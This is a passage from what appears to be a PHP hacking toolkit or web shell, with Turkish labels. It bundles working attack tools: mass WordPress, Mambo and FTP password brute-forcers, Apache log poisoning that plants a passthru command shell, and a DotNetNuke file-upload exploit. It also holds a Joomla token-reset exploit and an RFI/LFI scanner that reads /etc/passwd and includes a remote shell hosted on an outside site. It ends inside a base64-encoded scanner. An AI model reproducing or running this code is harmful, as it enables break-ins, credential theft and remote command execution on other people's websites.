$pro->perl($ip,$ipadresin,\'10\');
}
if($_POST[\'secim\']==11){
$pro->perl($ip,$ipadresin,\'11\');
}
if($_POST[\'secim\']==12){
$pro->perl($ip,$ipadresin,\'12\');
}
}
}
}
if( $red == "bruteci" ) {
ob_start();
error_reporting(0);
set_time_limit(0);
#Wordpress Mass Brute Forcer#
#Codex-x By izleyici#
#Siteleri http://www.site.com/ Seklinde verin#
echo \'<title>Wordpress Mass Brute Forcer</title>
<form method="post" action="">
<style type="text/css">
<!--
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
.siyah {
color: #FFFFFF;
background-color: #990000;
}
.style2 {
color: #FFFFFF;
background-color: #990000;
font-weight: bold;
font-size: 24px;
}
-->
</style>
<div align="center" class="style2">Wordpress Mass Brute Forcer </div>
<p align="center"> </p>
<p align="center">
<textarea name="sitelist" cols="40" rows="10" class="siyah" id="sitelist"></textarea>
<br>
<br>
Sifre Listesi: <input name="liste" type="text" value="sifreler.txt"><br>
<input type="submit" class="siyah" value="Tara yigen">
</p>
</form>\';
$sitelist=explode("\n",$_POST[\'sitelist\']);
foreach($sitelist as $yenilist){
$temiz=trim($yenilist);
$site=$temiz;
if(! $_POST[\'sitelist\']==""){
$pass=htmlspecialchars($_POST[\'liste\']);
foreach(file($pass)as $password){
$curl = curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,$site.\'/wp-login.php\');
curl_setopt($curl,CURLOPT_COOKIEJAR,"coki11.txt");
curl_setopt($curl,CURLOPT_COOKIEFILE,"coki11.txt");
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl,CURLOPT_POST,TRUE);
curl_setopt($curl,CURLOPT_POSTFIELDS,"log=admin&pwd=$password&wp-submit=Log+In&redirect_to=.$site./wp-admin/&testcookie=1");
$a = curl_exec($curl);
if(eregi ("profile.php",$a)){
echo \'<center><a href="\'.$site.\'/wp-login.php?redirect_to=\'.$site.\'/wp-admin/reauth=1" target="_blank">\'.$site.\' user=admin pass=\'.$password.\'</a></center>\';
$izbak=fopen("ok.php",a);
fwrite($izbak,$site.$password."<br>\n");
ob_flush();
flush();
}
}
}
}
}
if( $red == "shellci" ) {
ob_start();
set_time_limit(0);
echo \'<center><title>Shell Kontrolc </title>
<form method="post" action="">
Siteler ; <br><textarea name="siteler" cols="35" rows="7"></textarea><br>
<input type="submit" value="tara">
</form>
</center>\';
if(! $_POST[\'siteler\']==""){
$siteler = explode("\n",$_POST[\'siteler\']);
foreach($siteler as $sites){
$sites=trim($sites);
$curl=curl_init($sites);
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
$exec=curl_exec($curl);
if(eregi(\'safe_mod\',$exec)){
echo \'<a href="\'.$sites.\'">\'.$sites.\'</a><br>\';
ob_flush();
flush();
}
}
}
}
if( $red == "apache" ) {
$komut = $_POST[\'komut\'];
$site = $_POST[\'site\'];
$site1 = $_POST[\'site1\'];
echo \'
<br><h3> Apache Log Enjekte</h3><br>
<font color=blue>
### Kullanim ###<br><br>
rnek :<br>
<br>
site= www.target.com<br>
LFI= http://www.target.com/apache.log%00<br>
Komut= ls -la<br>
seklinde girerseniz komut sisteminin sonucunu listeleyecektir <br><br><br><br></FONT>
<form method=post action="">
site:<input type=text name=site1 value="\';
echo $site1;
echo \'">
LFI:<input type=text name=site value="\';
echo $site;
echo \'">
Komut:<input type=text name=komut value="\';
echo $komut;
echo \'">
<input type=submit value="BaQ">\';
$komut = $_POST[\'komut\'];
$site = $_POST[\'site\'];
$site1 = $_POST[\'site1\'];
if(isset($site)) {
if(isset($site1)) {
if(isset($komut)) {
$komut1 = urlencode($komut);
$kod = \'<t1tl8><? passthru($_GET[izo1]) ?></t1tl8>\';
$fp = fsockopen("$site1", 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET /$kod HTTP/1.1\r\n";
$out .= "Host: $site1 \r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
fclose($fp);
}
$izo = file_get_contents("$site&izo1=$komut1");
preg_match_all(\'#<t1tl8>(.*?)</t1tl8>#si\', $izo, $sitemis);
foreach(array_unique($sitemis[1]) as $lfi) {
echo "<h4><pre><font color=red>";
echo $lfi;
echo "</font></h4></pre>";
}
}
}
}
}
if( $red == "e107" ) {
?>
<iframe src=\'http://architrave.com.my/themes/english.php\' width=100% height=600 id="I1" name="IF1" >
<?
}
if( $red == "joomlaexploit" ) {
?>
<html>
<head>
<meta http-equiv="Content-Language" content="fr">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>#~JooMla serv3r ScaNN3r</title>
<style>
body,table{background: black; font-family:Verdana,tahoma; color: white; font-size:10px; }
A:link {text-decoration: none;color: red;}
A:active {text-decoration: none;color: red;}
A:visited {text-decoration: none;color: red;}
A:hover {text-decoration: underline; color: red;}
#new,input,table,td,tr,#gg{border-style:solid;text-decoration:bold;}
input:hover,tr:hover,td:hover{background-color: #FFFFCC; color:green;}
</style>
</head>
<body>
<p align="center"> </p>
<p align="center"> </p>
<p align="center"> </p>
<p align="center"><font size="3">#~JooMla serv3r ScaNN3r</font></p><br>
<form method="POST">
<p align="center"><input type="text" name="site" size="65"><input type="submit" value="ScaN"></p>
</form><center>
<?php
@set_time_limit(0);
@error_reporting(E_ALL | E_NOTICE);
function check_exploit($comxx){
$link ="http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=$comxx&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=";
$result = @file_get_contents($link);
if (eregi("No results",$result)) {
echo"<td>Not Found</td><td><a href=\'http://www.google.dz/#hl=en&q=download+$comxx+joomla+extension\'>Download</a></td></tr>";
}else{
echo"<td><a href=\'$link\'>Found</a></td><td><=</td></tr>";
}
}
function check_com($url){
$source = @file_get_contents($url);
preg_match_all(\'{option,(.*?)/}i\',$source,$f);
preg_match_all(\'{option=(.*?)(&|&|")}i\',$source,$f2);
preg_match_all(\'{/components/(.*?)/}i\',$source,$f3);
$arz=array_merge($f2[1],$f[1],$f3[1]);
$coms=array();
foreach(array_unique($arz) as $x){
$coms[]=$x;
}
foreach($coms as $comm){
echo "<tr><td>$comm</td>";
check_exploit($comm);
}
}
function sec($site){
preg_match_all(\'{http://(.*?)(/index.php)}siU\',$site, $sites);
if(eregi("www",$sites[0][0])){
return $site=str_replace("index.php","",$sites[0][0]);
}else{
return $site=str_replace("http://","http://www.",str_replace("index.php","",$sites[0][0]));
}}
$npages = 50000;
if ($_POST)
{
$ip = trim(strip_tags($_POST[\'site\']));
$npage = 1;
$allLinks = array();
while($npage <= $npages)
{
$x=@file_get_contents(\'http://www.bing.com/search?q=ip%3A\' . $ip . \'+index.php?option=com&first=\' . $npage);
if ($x)
{
preg_match_all(\'(<div class="sb_tlst">.*<h3>.*<a href="(.*)".*>(.*)</a>.*</h3>.*</div>)siU\', $x, $findlink);
foreach ($findlink[1] as $fl)
$allLinks[]=sec($fl);
$npage = $npage + 10;
if (preg_match(\'(first=\' . $npage . \'&)siU\', $x, $linksuiv) == 0)
break;
}
else
break;
}
$allDmns = array();
foreach ($allLinks as $kk => $vv){
$allDmns[] = $vv;
}
echo\'<table border="1" width=\"80%\" align=\"center\">
<tr><td width=\"30%\"><b>Server IP : </b></td><td><b>\'.$ip.\'</b></td></tr>
<tr><td width=\"30%\"><b>Sites Found : </b></td><td><b>\'.count(array_unique($allDmns)).\'</b></td></tr>
</table>\';
echo "<br><br>";
echo\'<table border="1" width="80%" align=\"center\">\';
foreach(array_unique($allDmns) as $h3h3){
echo\'<tr id=new><td><b><a href=\'.$h3h3.\'>\'.$h3h3.\'</a></b></td><td><b>Exploit-db</b></td><td><b>challenge of Exploiting ..!</b></td></tr>\';
check_com($h3h3);
}
echo"</table>";
}
?></center>
<br><p align="center">
MaDe in Algeria (r)
</p>
</body>
</html>
<?
}
if( $red == "dotnuke" ) {
ob_start();
set_time_limit(0);
/*
Dotnuke Bug Automatic Uploader - Private [MiyaChung]
Coded by MiyaChung
[email protected]
*/
class fso{
public $regex = \'/A File On Your Site/\';
public $ek = \'/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx\';
public $al = "/id=\"__VIEWSTATE\" value=\"(.*?)\"/";
public $kod = \'javascript:__doPostBack("ctlURL$cmdUpload","")\';
public $dizin = \'/<option selected="selected" value="(.*?)">(.*?)<\/option>/\';
public function baglan($url,$dosya,$yaz){
$curl=curl_init();
curl_setopt($curl,CURLOPT_URL,$url.$this->ek);
curl_setopt($curl,CURLOPT_HEADER,0);
curl_setopt($curl,CURLOPT_VERBOSE,0);
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_USERAGENT,\'Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 ( .NET CLR 3.5.30729; .NET4.0E)\');
curl_setopt($curl,CURLOPT_COOKIEJAR,\'cookie.txt\');
curl_setopt($curl,CURLOPT_COOKIEFILE,\'cookie.txt\');
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
$exec = curl_exec($curl);
curl_close($curl);
if(preg_match($this->regex,$exec)){
preg_match_all($this->al,$exec,$view);
$baglan_2 = self::baglan_2($url.$this->ek,$view[1][0]);
preg_match_all($this->dizin,$baglan_2,$yol);
preg_match_all($this->al,$baglan_2,$goster);
$baglan_3 = self::baglan_3($this->kod);
$baglan_4 = self::baglan_4($url.$this->ek,$yol[1][0],$dosya,$goster[1][0]);
$reg = \'/\'.$yaz.\'/\';
if(preg_match($reg,$baglan_4)){
$url = $url."/Portals/0/".$yol[1][0].$yaz;
echo \'<a href="\'.$url.\'">\'.$url.\'</a><br>\';
ob_flush();
flush();
$kaydet = fopen(\'dusenler.txt\',\'ab\');
fwrite($kaydet,$url."\r\n");
fclose($kaydet);
}
}
}
public function baglan_2($url,$view){
$post = array(\'__EVENTTARGET\'=>\'ctlURL$optType$2\',\'__EVENTARGUMENT\'=>\'\',\'__LASTFOCUS\'=>\'\',\'ctlURL$optType\'=>\'F\',\'ctlURL$txtUrl\'=>\'http://\',\'__VIEWSTATE\'=>\'\'.$view.\'\');
$curl=curl_init();
curl_setopt($curl,CURLOPT_URL,$url);
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_HEADER,0);
curl_setopt($curl,CURLOPT_VERBOSE,0);
curl_setopt($curl,CURLOPT_USERAGENT,\'Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 ( .NET CLR 3.5.30729; .NET4.0E)\');
curl_setopt($curl,CURLOPT_COOKIEJAR,\'cookie.txt\');
curl_setopt($curl,CURLOPT_COOKIEFILE,\'cookie.txt\');
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl,CURLOPT_POST,1);
curl_setopt($curl,CURLOPT_POSTFIELDS,$post);
$exec = curl_exec($curl);
curl_close($curl);
return $exec;
}
public function baglan_3($kod){
$curl=curl_init();
curl_setopt($curl,CURLOPT_URL,$kod);
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_HEADER,0);
curl_setopt($curl,CURLOPT_VERBOSE,0);
curl_setopt($curl,CURLOPT_USERAGENT,\'Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 ( .NET CLR 3.5.30729; .NET4.0E)\');
curl_setopt($curl,CURLOPT_COOKIEJAR,\'cookie.txt\');
curl_setopt($curl,CURLOPT_COOKIEFILE,\'cookie.txt\');
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
$exec=curl_exec($curl);
curl_close($curl);
return $exec;
}
public function baglan_4($url,$folder,$file,$view){
$post = array(
\'__EVENTTARGET\'=>\'ctlURL$cmdSave\',
\'__EVENTARGUMENT\'=>\'\',
\'__LASTFOCUS\'=>\'\',
\'ctlURL$optType\'=>\'F\',
\'ctlURL$cboFolders\'=>\'\'.$folder.\'\',
\'ctlURL$txtFile\'=>\'@\'.$file.\'\',
\'__VIEWSTATE\'=>\'\'.$view.\'\');
$curl=curl_init();
curl_setopt($curl,CURLOPT_URL,$url);
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_HEADER,0);
curl_setopt($curl,CURLOPT_VERBOSE,0);
curl_setopt($curl,CURLOPT_REFERER,$url.$this->ek);
curl_setopt($curl,CURLOPT_USERAGENT,\'Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 ( .NET CLR 3.5.30729; .NET4.0E)\');
curl_setopt($curl,CURLOPT_COOKIEJAR,\'cookie.txt\');
curl_setopt($curl,CURLOPT_COOKIEFILE,\'cookie.txt\');
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl,CURLOPT_POST,1);
curl_setopt($curl,CURLOPT_POSTFIELDS,$post);
$exec = curl_exec($curl);
curl_close($curl);
return $exec;
}
}
echo \'<center><title>Dotnuke Toplu File Upload - Private [MiyaChung]</title>
<form method="post" action="" enctype="multipart/form-data">
Siteler ; <br><input type="file" name="siteler"><br>Dosyan ; <br><input type="text" name="file"><br>
<input type="submit" name="scan" value="Scan">
</form>
</center>\';
if(isset($_POST[\'scan\'])){
$fso = new fso();
$file = $_POST[\'file\'];
$dir=$_SERVER["DOCUMENT_ROOT"]."/".$file;
$siteler = explode("\n",file_get_contents($_FILES["siteler"]["tmp_name"]));
foreach($siteler as $sites){
$sites = trim($sites);
$fso->baglan($sites,$dir,$file);
}
}
}
if( $red == "massftp" ) {
?>
<center>
<title>Mass FTP Cracker - Private [MiyaChung]</title>
<form method="post" action="">
Hosts : <br>
<textarea name="host" cols="20" rows="4"></textarea><br>
Users : <br>
<input type="text" name="users"><br>
Passwords : <br>
<input type="text" name="passwords"><br>
<input type="submit" name="submit" value="Crack">
</form>
</center>
<?php
/*
Mass FTP Cracker ()
MiyaChung
[email protected]
*/
set_time_limit(0);
ob_start();
if(isset($_POST[\'submit\'])){
if(empty($_POST[\'host\'])){echo \'Host listesini doldurun.<br>\';}
if(empty($_POST[\'users\'])){echo \'Users listesini doldurun<br>\';}
if(empty($_POST[\'passwords\'])){echo \'Passwords listesini doldurun\';}
$hosts=explode("\n",$_POST["host"]);
$users=explode("\n",file_get_contents($_POST[\'users\']));
$pass=explode("\n",file_get_contents($_POST["passwords"]));
echo \'<center>Cracking Started,Please wait...</center><br>\';
foreach($hosts as $hostlar){
$hosts=trim($hostlar);
foreach($users as $userler){
$userz=trim($userler);
foreach($pass as $passlar){
$passwords=trim($passlar);
$curl = curl_init();
curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($curl, CURLOPT_URL, \'ftp://\'.$userz.\':\'.$passwords.\'@\'.$hosts.\'\');
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_FTPLISTONLY,1);
$exec = curl_exec($curl);
if(curl_errno($curl)==0){
echo "<center>".$hosts." - ".$userz." - ".$passwords." Found.</center><br>";
ob_flush();
flush();
curl_close($curl);
}
}
}
}
}
?>
<?
}
if( $red == "joomt" ) {
?>
<?php
ob_start();
error_reporting(0);
set_time_limit(0);
if (!extension_loaded(curl)){die("<b>Curl Not Supported Please Curl Library Upload</b>");}
echo\'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Language" content="tr" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Joomla Token</title>
<style type="text/css">
.style1 {
text-align: center;
}
.style2 {
text-align: center;
font-size: large;
}
</style>
</head>
<body>
<p class="style2"><strong>Joomla Token</strong></p>
<form method="post" action="">
<div class="style1">
<textarea name="token" style="height: 120px; width: 499px"></textarea><br />
<input type="submit" value="Tara" /><br><br>Joomla Token</div>
</form>
</body>
</html>\';
class Searcher
{
private $kodlar;
private $ekle;
private $eklex;
private $veri;
public function __construct()
{
$this->kodlar=null;
$this->veri=null;
$this->ekle="/?option=com_user&view=reset&layout=confirm";
$this->eklex="/?option=com_user&task=confirmreset";
}
private function baglan($url)
{
$baglan=curl_init();
curl_setopt($baglan, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($baglan, CURLOPT_URL,$url);
curl_setopt($baglan, CURLOPT_USERAGENT, \'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4\');
curl_setopt($baglan, CURLOPT_COOKIEJAR, \'dosya.txt\');
curl_setopt($baglan, CURLOPT_COOKIEFILE, \'dosya.txt\');
$this->kodlar=curl_exec($baglan);
curl_close($baglan);
return $this->kodlar;
}
private function postala($site)
{
$adres=$site.$this->ekle;
$hash=self::hashBul($adres);
$url=$site.$this->eklex;
$baglan=curl_init();
curl_setopt($baglan, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($baglan, CURLOPT_URL,$url);
curl_setopt($baglan, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($baglan, CURLOPT_COOKIEJAR, \'dosya.txt\');
curl_setopt($baglan, CURLOPT_COOKIEFILE, \'dosya.txt\');
curl_setopt($baglan, CURLOPT_USERAGENT, \'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4\');
curl_setopt($baglan, CURLOPT_POST, 1);
curl_setopt($baglan, CURLOPT_POSTFIELDS, "token=%27&".$hash."=1");
$this->veri=curl_exec($baglan);
curl_close($baglan);
return $this->veri;
}
private function hashBul($kaynak)
{
$this->parcala=self::baglan($kaynak);
$this->desen="/type=\"hidden\" name=\"([0-9a-f]{32})\" value=\"1\"/si";
preg_match_all($this->desen,$this->parcala,$dizi);
return $dizi[1][0];
}
public function kontrol($adres)
{
global $tokentara;
$postala=self::postala($adres);
if(eregi(\'name="password1"\',$postala))
{
echo \'<center><style type="text/css">
.bekleyazi {
color: #00FF00;
}
</style>
<p>
<span class="bekleyazi"><strong>Found : </strong><a href="\'.$tokentara.$this->ekle.\'">\'.$tokentara.$this->ekle.\'</a></span></p></center>\';
ob_flush();
flush();
}
}
public function __destruct()
{
unset($this->kodlar);
unset($this->veri);
}
}
$x=new Searcher();
$token=$_POST [\'token\'];
if ($token)
{
echo \'<center><style type="text/css">
.bekleiste {
color: #000000;
}
</style>
<p>
<img alt="" src="http://www.blueicestudios.com/ajax/images/ajax-loader.gif" width="16" height="16" /><span class="bekleiste">
Taraniyor... Lutfen Bekleyin...</span></p></center>\';
$temiz=explode ("\r\n",$token);
foreach ($temiz as $tokentara)
{
echo $x->kontrol($tokentara);
}
echo \'<center><style type="text/css">
.bekleiste {
color: #000000;
}
</style>
<p>
<span class="bekleiste">FINISH...</span></p></center>\';
}
?>
<?
}
if( $red == "mambo" ) {
?>
<?php
ob_start();
error_reporting(0);
set_time_limit(0);
#Mambo / Limbo Mass Admin Panel Brute Forcer#
#Codex-x By MiyaChung#
#Siteleri http://www.site.com/ Seklinde verin#
echo \'<title>Mambo / Limbo Mass Admin Panel Brute Forcer</title>
<form method="post" action="">
<style type="text/css">
<!--
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
.siyah {
color: #FFFFFF;
background-color: #990000;
}
.style2 {
color: #FFFFFF;
background-color: #990000;
font-weight: bold;
font-size: 24px;
}
-->
</style>
<div align="center" class="style2">Mambo / Limbo Mass Admin Panel Brute Forcer </div>
<p align="center"> </p>
<p align="center">
<textarea name="sitelist" cols="40" rows="10" class="siyah" id="sitelist"></textarea>
<br>
<br>
<input type="submit" class="siyah" value="w0t">
</p>
</form>\';
$ek = "administrator/index.php";
$sitelist=explode("\n",$_POST[\'sitelist\']);
foreach($sitelist as $yenilist){
$temiz=trim($yenilist);
$site=$temiz.$ek;
if(! $_POST[\'sitelist\']==""){
$username = \'admin\'; // CHANGE THIS
$password = \'admin\'; // CHANGE THIS
$curl=curl_init();
curl_setopt($curl,CURLOPT_URL,$site);
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl,CURLOPT_USERAGENT,\'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4\');
curl_setopt($curl,CURLOPT_SSL_VERIFYHOST,1);
curl_setopt($curl,CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($curl,CURLOPT_POST,1);
curl_setopt($curl,CURLOPT_POSTFIELDS,"usrname=$username&pass=$password&submit=Login");
$a = curl_exec($curl);
if(preg_match("/admin Logout/",$a)){
echo \'<center><a href="\'.$site.\'">\'.$site.\'</a></center>\';
ob_flush();
flush();
}
}
}
?>
<?
}
if( $red == "rfilfi" ) {
?>
<?php
# Mass RFI/LFI Scanner NEW - (Startpagina[GOOGLE])
# Coded by MiyaChung
# [email protected]
# 19.11.2010
# I Love You Google
ob_start();
set_time_limit(0);
echo \'<center><title>Mass RFI/LFI Scanner NEW - Startpagina [MiyaChung]</title>
<form method="post" action="">
<textarea name="dork" cols="35" rows="5"></textarea><br>
<input type="submit" name="scan" value="Scan">
</form>
</center>\';
if(! $_POST[\'dork\']==""){
function google($dork,$page){
$curl = curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,\'http://startgoogle.startpagina.nl/?q=\'.$dork.\'&start=\'.$page.\'&source=web\');
curl_setopt($curl,CURLOPT_USERAGENT,\'Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 ( .NET CLR 3.5.30729; .NET4.0E)\');
$exec=curl_exec($curl);
curl_close($curl);
return $exec;
}
for($id=1 ; $id<=30; $id++){
$page=$id*10;
$gogil=explode("\n",$_POST[\'dork\']);
foreach($gogil as $gogo){
$gogo=trim($gogo);
$google = google($gogo,$page);
$reg = \'#<font color="\#008000"\>(.*?)</font>#si\';
preg_match_all($reg,$google,$cikti);
foreach($cikti[0] as $site){
$site=trim($site);
$site=explode("-",$site);
$site=explode("=",$site[0]);
$site=ereg_replace(\'"#008000">\',\'\',$site[1]);
$site=$site."=";
echo \'<center><b>Scanning URL : \'.$site.\'</b></center>\';
ob_flush();
flush();
//LFI 1 Scan
$bag1=$site."../../../../../../../../../../../../../../../../../../../../etc/passwd";
$ch1=curl_init();
curl_setopt($ch1,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch1,CURLOPT_URL,$bag1);
curl_setopt($ch1,CURLOPT_USERAGENT,\'Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 ( .NET CLR 3.5.30729; .NET4.0E)\');
curl_setopt($ch1,CURLOPT_TIMEOUT,\'5\');
$ex1=curl_exec($ch1);
if(eregi(\'root:x:\',$ex1)){
echo \'<center><b><font color="red">LFI Found : <a href="\'.$bag1.\'">\'.$bag1.\'</a></b></font></center>\';
ob_flush();
flush();
}
//LFI 2 Scan
$bag2=$site."../../../../../../../../../../../../../../../../../../../../etc/passwd%00";
$ch2=curl_init();
curl_setopt($ch2,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch2,CURLOPT_URL,$bag2);
curl_setopt($ch2,CURLOPT_USERAGENT,\'Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 ( .NET CLR 3.5.30729; .NET4.0E)\');
curl_setopt($ch2,CURLOPT_TIMEOUT,\'5\');
$ex2=curl_exec($ch2);
if(eregi(\'root:x:\',$ex2)){
echo \'<center><b><font color="red">LFI Found : <a href="\'.$bag2.\'">\'.$bag2.\'</a></b></font></center>\';
ob_flush();
flush();
}
//RFI Scan
$bag3=$site.\'http://www.titanaviation.co.in/press/l.php?\'; // YOUR SHELL
$ch3=curl_init();
curl_setopt($ch3,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch3,CURLOPT_URL,$bag3);
curl_setopt($ch3,CURLOPT_USERAGENT,\'Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 ( .NET CLR 3.5.30729; .NET4.0E)\');
curl_setopt($ch3,CURLOPT_TIMEOUT,\'5\');
$ex3=curl_exec($ch3);
if(eregi(\'uname\',$ex3)){
echo \'<center><b><font color="blue">RFI Found : <a href="\'.$bag3.\'">\'.$bag3.\'</a></b></font></center>\';
ob_flush();
flush();
}
}
}
}
}
?>
<?
}
if( $red == "ports" ) {
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1">
<meta name="author" content="iJoo">
<title>PHP Port Scanner, Coded by iJoo</title>
</head>
<!-- PHP Port Scanner - iJoo (Indosecure.net) -->
<body>
<center><br>
<img src="phps.png"><br>
<form method="post" action="" enctype="multipart/form-data">
Masukan Nama website / IP : <input type="text" name="ijoo" value="0.0.0.0"></form><br>
<?
if(isset($_POST[\'ijoo\'])){
error_reporting(0);
$site = $_POST[\'ijoo\'];
$port = array(20,21,22,25,65,80,3128,3360,4899,8080,8888); $batas=count($port);
echo "<table>";
$i=0;
while($i<$batas){
$fp = fsockopen($site,$port[$i],$errno,$errstr,10);
if(!$fp){
echo "<tr><td>• ".$port[$i]." </td><td>==> <font color=red><b>Cannot</b></font> connect to server</td></tr>";}
else
{
echo "<tr><td>• ".$port[$i]." </td><td>==> Connect was <b><font color=green>successful</font></b> - open at ".$site;fclose($fp)."</td></tr>";}
$i++;
}
}
echo "</table>";
?>
<?
}
if( $red == "domain" ) {
?>
<iframe src=\'http://centralops.net/co/DomainDossier.aspx\' width=100% height=600 id="I1" name="IF1" >
<?
}
if( $red == "lfipriv" ) {
?>
<?
$lfipriv8 = \'PEJPRFkgT25LZXlQcmVzcz0iR2V0S2V5Q29kZSgpOyIgdGV4dD1yZWQgYm90dG9tTWFyZ2luPTAg
YmdDb2xvcj0jMDAwMDAwIGxlZnRNYXJnaW49MCB0b3BNYXJnaW49MCByaWdodE1hcmdpbj0wIG1h
cmdpbmhlaWdodD0wIG1hcmdpbndpZHRoPTA+PGNlbnRlcj4KPGh0bWw+CjxoZWFkPgo8bWV0YSBj
b250ZW50PSJmciIgaHR0cC1lcXVpdj0iQ29udGVudC1MYW5ndWFnZSI+CjxtZXRhIGNvbnRlbnQ9
InRleHQvaHRtbDsgY2hhcnNldD13aW5kb3dzLTEyNTIiIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlw
ZSI+Cjx0aXRsZT4jfiBMRkkgU2VydmVyIFNjYW5uZXIgfCBCeSBbIExhZ3JpcGUtRHogXTwvdGl0
bGU+CjxzdHlsZT4qeyBmb250LWZhbWlseTpWZXJkYW5hOyBmb250LXNpemU6MTI7IHRleHQtZGVj
b3JhdGlvbjpub25lOyB9CmlucHV0LCB0ZXh0YXJlYSxzZWxlY3QgewogICAgYm9yZGVyOiAxcHgg
c29saWQgIzYyNjI2MjsKfQo8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5Pgo8YnI+PGJyPjxjZW50ZXI+
Cjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9IlBPU1QiPgojfiBMRkkgU2VydmVyIFNjYW5uZXIgfCBC
eSBbIExhZ3JpcGUtRHogXTxicj48YnI+CklQIDogPGlucHV0IHR5cGU9InRleHQiIHZhbHVlPSI8
PyBlY2hvICgkX1BPU1RbJ2lwJ10pID8gJF9QT1NUWydpcCddOiIiOz8+IiBuYW1lPSJpcCI+Cjxz
ZWxlY3Qgc2l6ZT0iMSIgbmFtZT0id2h0Ij48b3B0aW9uPi5waHA/cGFnZT08L29wdGlvbj48b3B0
aW9uPi5waHA/KC4qKT08L29wdGlvbj48L3NlbGVjdD4KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5h
bWU9InN0YXJ0IiB2YWx1ZT0iU3RhcnQgU2NhbiAuLiI+Cgk8L2Zvcm0+Cgk8aHIgd2lkdGg9IjI3
JSI+Cjw/CkBzZXRfdGltZV9saW1pdCgwKTsKCgoKJHN0YXJ0ID0gbmV3IHNzX2JpbmcoKTsKCgpp
ZigkX1BPU1QpewoKZWNobyAoIWNoZWNraXAoJF9QT1NUWydpcCddKSkgPyAiPGI+ZXJyb3I6OklQ
IGlzIGludmFsaWQ8L2I+PGhyIHdpZHRoPTI3JT4iOiIiOwplY2hvICghZXh0ZW5zaW9uX2xvYWRl
ZCgiY3VybCIpKSA/ICI8Yj5lcnJvcjo6Y1VSTCBleHRlbnNpb24gcmVxdWlyZWQ8L2I+PGhyIHdp
ZHRoPTI3JT4iOiIiOwoKaWYoY2hlY2tpcCgkX1BPU1RbJ2lwJ10pICYmIGV4dGVuc2lvbl9sb2Fk
ZWQoImN1cmwiKSl7CgokdXJscyA9ICRzdGFydC0+c2VhcmNoKCJpcDoiLiRfUE9TVFsnaXAnXS4i
ICIuJF9QT1NUWyd3aHQnXSwwKTsKCmVjaG8gIjx0YWJsZSBib3JkZXI9JzAnIGFsaWduPWNlbnRl
cj4KPHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGI+OjogU2NhbiBTdGFydCA6OjwvYj48L3RkPjwvdHI+
